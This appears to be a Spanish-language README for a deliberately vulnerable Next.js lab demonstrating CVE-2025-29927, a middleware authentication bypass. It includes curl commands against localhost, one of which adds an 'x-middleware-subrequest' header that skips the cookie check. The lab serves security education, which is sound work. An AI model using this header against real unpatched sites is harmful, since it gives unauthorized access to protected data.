
Aplicación Next.js deliberadamente vulnerable que demuestra CVE-2025-29927 (bypass de autenticación basado en middleware) para aprendizaje y práctica de bug bounty.
Este repositorio contiene una aplicación web deliberadamente vulnerable construida con Next.js. Está diseñada para demostrar y estudiar el problema de seguridad conocido como CVE-2025-29927. El objetivo de este proyecto es ayudar a investigadores de seguridad, estudiantes y cazadores de recompensas por errores a entender cómo funciona la vulnerabilidad en un entorno similar al real.
[!CAUTION ] Esta aplicación es intencionalmente insegura y nunca debe implementarse en producción.
CVE-2025-29927 está relacionado con el manejo inadecuado de la lógica de solicitudes en aplicaciones construidas con Next.js, particularmente en middleware. Esto puede permitir a los atacantes:
git clone https://github.com/metasploit403/cve-2025-29927-lab
cd cve-2025-29927-lab
npm install
npm run dev
Algunas rutas son intencionalmente vulnerables y pueden incluir
- /api/admin/secret
- /api/internal/health
- /api/private/data
Estos endpoints simulan recursos restringidos que no deberían ser accesibles sin la autorización adecuada.
npm run devhttp://localhost:3000- /api/admin/secret
- /api/internal/health
- /api/private/data
- http://localhost:3000/api/admin/secret
- http://localhost:3000/api/internal/health
- http://localhost:3000/api/private/data
Observa que tu solicitud es bloqueada, esto se debe a que no has incluido una cookie en tu solicitud. Esto significa que el endpoint está protegido por el middleware. El middleware verifica si tu solicitud tiene una cookie y, si no la tiene, es bloqueada automáticamente.
Ahora agreguemos una cookie a nuestra solicitud. Para hacer esto, abre las herramientas de desarrollo de Chrome (estoy usando el navegador Chrome aquí, puedes usar cualquier navegador que prefieras)
Presiona F12 y se abrirán las herramientas de desarrollo de Chrome
Ve a la pestaña Consola
En la pestaña de la consola, escribe document.cookie="lab-auth=authenticated"
Ahora recarga la página y observa que has iniciado sesión
Ten en cuenta que el middleware verifica si la solicitud contiene una cookie. Si la solicitud tiene cookie, inicias sesión correctamente; si no, eres bloqueado. La pregunta es ¿CÓMO podemos evitar la verificación del middleware e iniciar sesión sin proporcionar una cookie? Esto es lo que CVE-2025-29927 nos permite hacer
Ahora, evitemos la verificación de autenticación del middleware con CVE-2025-29927. El truco aquí es simplemente agregar este encabezado específico x-middleware-subrequest: middleware. Este encabezado está destinado a ser usado internamente solo por el framework. Si lo agregamos, el middleware dejará de verificar si nuestra solicitud tiene una cookie, y ahora cualquier endpoint sensible en tu aplicación quedará indefenso.
Para explotar esto, usemos cURL.
curl es una herramienta de línea de comandos utilizada para enviar solicitudes al servidor y obtener respuestas
1.Espera 401 sin cookie
curl.exe -i http://localhost:3000/api/admin/secret
Observa que el servidor respondió con el código de estado 307 (redirección temporal). Debido a que no hay cookie, somos redirigidos a la página de inicio/página raíz. Esto significa que no podemos iniciar sesión a menos que proporcionemos una cookie.
2.curl.exe -i http://localhost:3000/api/admin/secret -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware"
Ahora agregamos "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware"
Observa que ahora tenemos acceso al inicio de sesión sin la cookie. Esto es una evasión completa de autenticación
Para solucionar problemas como este en aplicaciones reales:
Este proyecto es únicamente con fines educativos. No uses estas técnicas en sistemas que no te pertenezcan o para los que no tengas permiso explícito para probar.
Siéntete libre de:
Si te resulta útil, considera darle una estrella al repositorio.
- Next.js
- Bug Bounty
- Web Security
- CVE-2025-29927
- Middleware Authentication
- Bypass